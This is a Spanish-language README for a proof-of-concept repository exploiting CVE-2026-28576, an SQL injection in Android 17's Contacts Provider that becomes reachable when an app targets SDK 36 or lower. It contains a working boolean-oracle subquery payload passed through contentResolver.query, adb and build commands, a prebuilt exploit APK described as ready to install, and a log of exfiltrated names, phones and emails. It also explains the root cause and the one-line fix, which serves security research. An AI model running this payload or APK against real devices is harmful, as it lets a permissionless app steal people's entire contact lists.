
Prueba de concepto educativa que demuestra una vulnerabilidad de inyección SQL en el Contacts Provider de Android 17, que permite a una aplicación sin permisos exfiltrar toda la base de datos de contactos mediante una concesión de URI de un solo contacto.
Un contacto seleccionado, todos los contactos: una puerta de compatibilidad targetSdk convierte una concesión de selección de un solo contacto en un volcado completo de la base de datos de contactos.
Android 17 reforzó el Contacts Provider contra la inyección SQL con setStrictColumns() / setStrictGrammar() — pero publicó el refuerzo detrás de un cambio de compatibilidad controlado por targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Cualquier aplicación que apunte al SDK 36 o inferior omite silenciosamente las comprobaciones estrictas y puede ocultar subconsultas de oráculo booleano en la selection de la consulta para leer toda la base de datos de contactos a través de una concesión de URI de un solo contacto. Sin READ_CONTACTS, sin permisos en absoluto.
Nota: No descubrimos esta vulnerabilidad. Este repositorio contiene nuestro análisis, reproducción y PoC educativo independientes para ayudar a la comunidad de seguridad a comprender la clase de fallo: las correcciones de seguridad protegidas detrás de
@EnabledAfter(targetSdkVersion)dejan a toda aplicación con target legacy en la ruta vulnerable.
Informe completo con capturas de pantalla y vídeo de demostración: La inyección SQL sigue existiendo, incluso en Android: un contacto seleccionado, todos los contactos (CVE-2026-28576)
├── poc/ # App de explotación PoC (UI + selector de contactos del sistema)
│ ├── src/ # MainActivity.java — selector + explotación de oráculo booleano
│ ├── AndroidManifest.xml # CERO permisos, targetSdk 36
│ └── build.sh # Compilar sin gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # APK PoC precompilado (firmado debug, listo para instalar)
├── REPRODUCE.md # Guía de reproducción completa paso a paso
├── evidence-*.log # Ejecuciones vulnerables / parcheadas capturadas
└── README.md
Necesitas un emulador de Android 17 con un nivel de parche de seguridad anterior a 2026-07-01
(usamos el AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — una imagen beta que aún lleva la puerta de compatibilidad vulnerable).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Verifica que el nivel de parche es anterior a la corrección
adb shell getprop ro.build.version.security_patch
# Inserta algunos contactos víctima (como shell, que tiene permisos de contactos)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Consulta REPRODUCE.md para la siembra completa de contactos y ambas variantes de ejecución.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
En pantalla:
checkUriPermission -> 0) y el único contacto que legítimamente tiene permitido ver.Requiere Android SDK (build-tools 36.0.0, plataforma android-37.0) y un JDK 17. No se necesita gradle:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, SIN permisos)
La capa de concesión funciona correctamente. El selector de contactos de Android 17 entrega a la aplicación una concesión de URI de solo lectura para exactamente un contacto: content://com.android.contacts/contacts/lookup/<key>/1. Consultar directamente cualquier otra cosa se rechaza con una SecurityException.
La capa SQL no. Debido a que el PoC apunta al SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) devuelve false y el proveedor omite setStrictColumns() / setStrictGrammar(). El envoltorio de paréntesis siempre activo setStrict(true) solo detiene fugas de cláusulas como ') OR 1=1 --; no hace nada contra subconsultas balanceadas.
Inyección de oráculo booleano. La aplicación emite una consulta de apariencia ordinaria contra su URI concedida con una subconsulta oculta en la selección:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
En una compilación vulnerable de Android 17, la aplicación sin permisos exfiltra todos los nombres, números de teléfono y correos electrónicos a través de una concesión para un solo contacto (consulta evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
La corrección cambia el cambio 484953293 para que se aplique a todos los llamadores independientemente del targetSdk — una única anotación eliminada (variante pública: commit c4129a1c de GrapheneOS):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Puedes reproducir el comportamiento parcheado exacto en una compilación vulnerable sin flashear nada:
adb shell am compat enable 484953293 com.poc.cve202628576
# La misma consulta ahora muere antes de llegar a SQLite:
# IllegalArgumentException: Invalid token SELECT
Consulta evidence-patched-run.log.
Análisis y PoC por Mobile Hacking Lab. Reprodujimos esta vulnerabilidad de forma independiente con fines educativos.
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Úsala solo en dispositivos y entornos que poseas o para los que tengas permiso explícito de prueba. Los autores no son responsables de ningún uso indebido.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Severidad | Alta en el boletín; el aviso de GitHub la puntúa como CVSS v4 10.0 (Crítica) — discutiblemente alta dadas las condiciones previas |
| Componente | Contacts Provider (ContactsProvider2.queryLocal()) |
| Causa raíz | Cambio de compatibilidad ENFORCE_STRICT_SQL_CHECKS protegido detrás de @EnabledAfter(BAKLAVA) |
| Impacto | Cualquier aplicación con una concesión de URI de un solo contacto lee toda la base de datos de contactos sin READ_CONTACTS |
| Afectado | Android 17, nivel de parche de seguridad < 2026-07-01 |
| Parcheado | Boletín de seguridad de Android 17 |
Si el carácter adivinado coincide, la fila concedida vuelve (cursor.getCount() == 1); de lo contrario, el cursor está vacío. Una consulta por carácter adivinado, iterada sobre LIMIT 1 OFFSET k para cada fila y mimetype — un número de teléfono cae en menos de un segundo, y toda la base de datos en mucho menos de un minuto.